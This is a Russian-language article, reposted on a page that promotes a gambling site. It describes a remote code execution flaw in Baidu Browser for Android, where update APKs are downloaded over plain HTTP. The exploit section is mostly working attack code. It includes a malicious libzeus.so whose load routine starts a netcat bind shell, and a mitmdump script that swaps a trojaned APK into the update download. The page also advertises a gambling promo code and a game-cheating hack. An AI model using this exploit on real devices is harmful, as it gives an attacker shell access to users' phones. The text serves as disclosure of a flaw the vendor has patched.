CSGOIndigo

CSGOINDIGO

Активируйте промо-код: SHLYAHTEN и получите 20 бесплатных монет на первые ставки!

Удаленное выполнение кода в baidu browser для android

Удаленное выполнение кода в baidu browser для android

    Все началось с поста на xda-developers, где были расписаны уязвимости в браузере Baidu. Члены команды lifeform-labs решили показать пример того, что эксплуатация не составляет особого труда. Браузер же очень популярен: по данным Google Play, число загрузок составляет от десяти до пятидесяти миллионов.

    Перед началом установки браузера автор запустил mitmproxy.

    И что мы видим? APK загружается по протоколу HTTP:
GET http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

    Если открыть предыдущий запрос, то мы увидим ответ JSON с адресом APK:

GET http://mobile-global.baidu.com/mbrowser/management/zeus_update.do?si=12.1.0.0&so=6.2.7.11&zi=-&zo=-&api=1&pt=ma&co=US&la=en&ch=gp&av=6.3.0.1&sv=a_19&pr=&n=

    Ответ в JSON:


{
    "d": {
        "downllrl": "http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/ res/54b2672d5353481ab5a762bdcd74977f.apk",
        "force": "0",
        "freq": "365d",
        "md5": "54b2672d5353481ab5a762bdcd74977f",
        "remindCount": "1",
        "size": "7636",
        "zi": "12.1.0.0",
        "zo": "6.2.7.11"
    },
"n": "8913ced893e7656abl90490d9bf96e9f",
"s": 1
}

Удаленное выполнение кода в baidu browser для android

 

После успешной установки пользова-тель увидит следующее сообщение.
Что такое T5 Engine, нам не осо-бенно важно (но если любопытно, то знай: это дополнение, которое увели-чивает скорость Baidu). Загрузим и его для дальнейшего изучения:


wget http://s.mobile-global.baidu.com/mbrowser/guanxing/T5Update/res/54b2672d5353481ab5a762bdcd74977f.apk

...

2016-02-27 12:56:21 (1.95 MB/s) — ‘54b2672d5353481ab5a762bdcd74977f. apk’ saved [7819869/7819869]

    Смотрим содержимое:

unzip -l 54b2672d5353481ab5a762bdcd74977f.apk

Archive: 54b2672d5353481ab5a762bdcd74977f.apk

Length    Date    Time    Name
---------   ------   -------   ----------------
21704     03-24-16 14:32 libbaidujni.so
99576     03-24-16 14:32 libdumper.so
66748     03-24-16 14:32 libZeusPlatformImpl23.so
66752     03-24-16 14:32 libZeusPlatformImpl40.so
66752     03-24-16 14:32 libZeusPlatformImpl41.so
66752     03-24-16 14:32 libZeusPlatformImpl42.so
66756     03-24-16 14:32 libZeusPlatformImpl43.so
66756     03-24-16 14:32 libZeusPlatformImpl443.so
66756     03-24-16 14:32 libZeusPlatformImpl44.so
66752     03-24-16 14:32 libZeusPlatform.so
14495444 03-24-16 14:32 libzeus.so
493810    03-24-16 14:33 com.baidu.zeus.jar
------------                   -----------------------
15644558 12 files

 

Все необходимые библиотеки загружаются по HTTP. Изучаем директорию Baidu, чтобы понять, что и где расположено:
/data/data/com.baidu.browser.inter/files # ls -la

drwx       u0_a151 u0_a151         2016-02-27 11:57 AFRequestCache

-rw         u0_a151 u0_a151 33     2016-02-27 11:57 AF_INSTALLATION

drwx       u0_a151 u0_a151         2016-02-27_11:57_bbm

-rw         u0_a151 u0_a151 10453 2016-02-27 11:57 config gb.json

drwx       u0_a151 u0_a151         2016-02-27_11:57_cyber

drwx       u0_a151 u0_a151         2016-02-27_11:57_data

drwx       u0_a151 u0_a151         2016-02-27_11:57_deeplink

drwx       u0_a151 u0_a151         2016-02-27 11:57 float_window

drwx       u0_a151 u0_a151         2016-02-27_12:44_home

drwx       u0_a151 u0_a151         2016-02-27_11:57_images

-rwxr-xr-x u0_a151 u0_a151 13592 2016-02-27 11:57 libprocmox_v1_4.so

drwx       u0_a151 u0_a151         2016-02-27 11:57 misc

drwx       u0_a151 u0_a151         2016-02-27_11:57_plugin

drwx       u0_a151 u0_a151         2016-02-27_11:57_pv

drwx       u0_a151 u0_a151         2016-02-27_11:57_skin

drwx       u0_a151 u0_a151         2016-02-27 11:57 splash

drwx       u0_a151 u0_a151         2016-02-27_11:57_version
drwx--x--x u0_a151 u0_a151         2016-02-27 12:44 zeus

 

И в итоге находим нужную папку /files/zeus/lib/, куда складируется содер-жимое APK:
/data/data/com.baidu.browser.inter/files/zeus/libs # ls -la

-rw-r--r-- u0_a151 u0_a151 1252704  2016-02-27 12:44 com.baidu.zeus.dex
-rw-r--r-- u0_a151 u0_a151 493810   2016-02-27 12:44 com.baidu.zeus.jar
-rw-r--r-- u0_a151 u0_a151 66752     2016-02-27 12:44 libZeusPlatform.so
...
-rw-r--r-- u0_a151 u0_a151 66756     2016-02-27 12:44 libZeusPlatformImpl443.so
-rw-r--r-- u0_a151 u0_a151 21704     2016-02-27 12:44 libbaidujni.so
-rw-r--r-- u0_a151 u0_a151 99576     2016-02-27 12:44 libdumper.so
-rw-r--r-- u0_a151 u0_a151 14495444 2016-02-27 12:44 libzeus.so
-rw-r--r-- u0_a151 u0_a151 17         2016-02-27 12:44 ver.dat

 

Теперь у нас есть все, что требуется для успешной эксплуатации.

Эксплойт

План следующий:

1. создать zip с библиотеками, которые мы нашли в T5Update APK;
2. заменить одну из библиотек нашей и упаковать в новый zip;
3. провести MitM атаку;
4. подставить наш файл вместо T5Update APK.

    Проверим, какие библиотеки загружаются при запуске браузера:

D/dalvikvm(21640): Trying to load lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

D/dalvikvm(21640): Added shared lib /data/data/com.baidu.browser.inter/files/zeus/libs//libzeus.so 0x42775e38

    Нашей целью будет библиотека libzeus.so. Заменяем ее в созданном архи-ве. Ниже представлен код новой библиотеки для выполнения нашего кода:


#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
 
int JNI_onload( JavaVM* vm, void* reserved )
{
    system( "/data/local/tmp/busybox nc -ll -p 6666 -e /system/bin/sh" );
    return JNI_VERSI0N_1_6;
}

    После этого создадим свой APK с поддельной libzeus.so:

unzip -l bad.apk

Archive: bad.apk
Length Date Time Name
-------  ------ ----- -------
493810  03-24-15 14:33 com.baidu.zeus.jar
21704   03-24-15 14:32 libbaidujni.so
99576   03-24-15 14:32 libdumper.so
9356    02-13-16  16:20 libzeus.so
...
66756   03-24-15 14:32 libZeusPlatformImpl443.so

 

Теперь напишем небольшой скрипт mitmdump, который будет вставлять bad.apk внутрь запроса загрузки T5Update APK:


import os
from libmproxy import proxy, flow
from libmproxy.protocol import http
from libmproxy.models import HTTPResponse
from netlib.http import Headers
 
def start(context, argv):
context.log("[ ] Starting APK Injection!")
 
def request(context, flow):
if not flow.request.host == "s.mobile-global.baidu.com":
return
 
context.log("[Baidu APK Injection] Target host :
{0}".format(flow.request.host))
  if flow.request.path.split(".")[-1] == "apk":
    context.log("[Baidu APK Injection] Target injection point :
      {0}".format(flow.request.path))
      response = HTTPResponse("HTTP/l.0", 200, "OK",
      Headers(Content_Type="application/octet-stream",), "PWNED")
 
# Inject our APK into the HTTP response
try:
  with open("bad.apk", "rb") as f:
    modified = f.read()
    response.content = modified
    response.headers["Content-Length"] = str(len(modified))
    f.close()
except IOError as e:
    raise e
 
    flow.reply(response)

 

Автор записал демо с примером успешной эксплуатации:

*Ссылка под полным постом (загрузить)*


*Производитель выпустил исправление.

][ 03.16

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами сайта.

2 Rubilnik Android / Статьи 937 15 апрель 2016

Рекомендуем также

Установка Ubuntu Touch как вторую ОС
Установка Ubuntu Touch как вторую ОС

Инструкция по устанвки Ubuntu Touch как вторую ОС используя MultiROM.  ...

Тестирование PCSL: Лучшие антивирусы для Android
Тестирование PCSL: Лучшие антивирусы для Android

Независимая китайская лаборатория PC Security Labs (PCSL) опубликовала результаты тестирования 27...

ARC Welder или запуск apk. приложений в Google Chrome.
ARC Welder или запуск apk. приложений в Google Chrome.

ARC Welder — расширение, которое поможет запустить Android-приложения в Chrome...

Jelly Splash hack
Jelly Splash hack

Взлом на звезды и деньги для игры Jelly Splash на андроид с root и без....


Комментарии (0)


Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.

iOS cydia small iconRepo [cydia.shlyahten.ru]

G iconGAPPS (все версии)